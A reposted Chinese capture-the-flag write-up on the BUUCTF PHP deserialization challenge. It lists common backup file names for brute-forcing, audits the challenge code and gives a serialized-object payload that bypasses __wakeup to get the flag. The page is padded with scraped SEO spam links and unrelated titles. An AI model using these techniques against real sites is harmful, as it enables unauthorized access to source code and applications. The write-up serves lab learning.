当前位置: 首页 > wzjs >正文

实训网站建设的心得总结网站建设面包屑导航条

实训网站建设的心得总结,网站建设面包屑导航条,女鞋网站建设策划方案,中山做营销型网站公司题目来源:BUUCTF [极客大挑战 2019]PHP 目录 一、打开靶机,整理信息 二、解题思路 step 1:目录扫描、爆破 step 2:代码审计 1.index.php 2.class.php 3.flag.php step 3:绕过__wakeup重置 ​编辑 三、小结…

题目来源:BUUCTF  [极客大挑战 2019]PHP

目录

一、打开靶机,整理信息

二、解题思路

step 1:目录扫描、爆破

step 2:代码审计

1.index.php

2.class.php

3.flag.php

step 3:绕过__wakeup重置

​编辑

三、小结


一、打开靶机,整理信息

        根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计

二、解题思路

step 1:目录扫描、爆破

目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对

常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

爆破一下

        url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件

        整理一下进行代码审计

step 2:代码审计

1.index.php

index.php主要是设计,有用信息已经摘抄了

<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

        文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化

2.class.php

<?php
include 'flag.php';error_reporting(0);class Name{//设置两个私有变量private $username = 'nonono';private $password = 'yesyes';//利用__construct构造函数,在创建对象时初始化$username和$password属性public function __construct($username,$password){$this->username = $username;$this->password = $password;}//当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guestfunction __wakeup(){$this->username = 'guest';}//当对象被销毁时,__destruct方法会被自动调用function __destruct(){if ($this->password != 100) {  //检查password是否等于100echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {  //如果password等于100,则进一步检查username是否等于admin,等于则输出flagglobal $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin

3.flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

        什么也不是

step 3:绕过__wakeup重置

        根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客

<?php
class Name{private $username = 'admin';private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目

当成员属性数目大于实际数目时可绕过wakeup方法

        所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

        得到flag

三、小结

1.常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

2.当成员属性数目大于实际数目时可绕过wakeup方法


文章转载自:

http://SZqsGo9a.gctgc.cn
http://8mGnEBMk.gctgc.cn
http://dMxaTVvJ.gctgc.cn
http://MKDwHVqQ.gctgc.cn
http://aj2Ema4n.gctgc.cn
http://xLXx5CSI.gctgc.cn
http://grGG9cLv.gctgc.cn
http://KA8fCp8Y.gctgc.cn
http://cDhsizZU.gctgc.cn
http://qoD4C8B0.gctgc.cn
http://rFrJFIAV.gctgc.cn
http://zqYjnyye.gctgc.cn
http://D7xAbvxi.gctgc.cn
http://ZraMs853.gctgc.cn
http://NlXKqRqE.gctgc.cn
http://8uaRuOLF.gctgc.cn
http://W2K2MhiI.gctgc.cn
http://NqbYtEq8.gctgc.cn
http://aajmPHOa.gctgc.cn
http://f3A76AvS.gctgc.cn
http://4wbmavlF.gctgc.cn
http://PGQocdia.gctgc.cn
http://qrdJ2alu.gctgc.cn
http://KWpSf6Gb.gctgc.cn
http://9xuGy2Oz.gctgc.cn
http://xh2Sos4t.gctgc.cn
http://eX69jXFR.gctgc.cn
http://WlWwpHdQ.gctgc.cn
http://EmCkpowa.gctgc.cn
http://jUe1FoEX.gctgc.cn
http://www.dtcms.com/wzjs/678261.html

相关文章:

  • 仙桃做网站手机端网站开发教程
  • 娄星区建设局网站企业所得税的优惠政策
  • 泉州网站快速排名提升北京设计院排名前十强
  • 青岛网站排名哪家公司好教做面点的网站
  • 如何设置网站logo网易企业邮箱 登录
  • 别人做的网站怎么seo优化seo案例网站
  • 手机端的网站怎么做wordpress视频网站模板下载
  • 做加油机公司网站晋江论坛匿名区
  • 淘宝客网站域名安防公司做网站图片
  • 优秀网站开发商dw网页设计免费模板
  • 网站建设的主要工作汕头百度关键词推广
  • 数码产品网站建设计划书美食网站素材
  • php网站开发平台中山顺德网站建设
  • 大淘客构建自己的网站深圳ui设计师工资
  • 登陆注册是静态网站动画专业大学
  • 影视传媒网站源码网站开发需要看相关书籍
  • 网站管理助手ftp连接不上加盟网站建设
  • 企业网站建站系统哪个好用创建自己网站的步骤
  • 电商网站的内容设计网页设计软件免费下载
  • 韩国网站 后缀高水平的网站建设
  • 网站后台用什么语言网站云推广
  • html网站标签网站模板怎么做
  • 零基础学习做网站求职网站
  • 免费模板整站优化 快速排名
  • 企业网站seo 优帮云西部数码里面如何建设自己的网站
  • 免费做视频相册的网站网站设计公司飞沐
  • 东莞网站公司小说网站排名怎么做
  • 面对面视频 网站开发企业网站建设的实践意义
  • 扁平化的网站结构图营销型网站建设和规划
  • 软件公司网站源码seo公司赚钱吗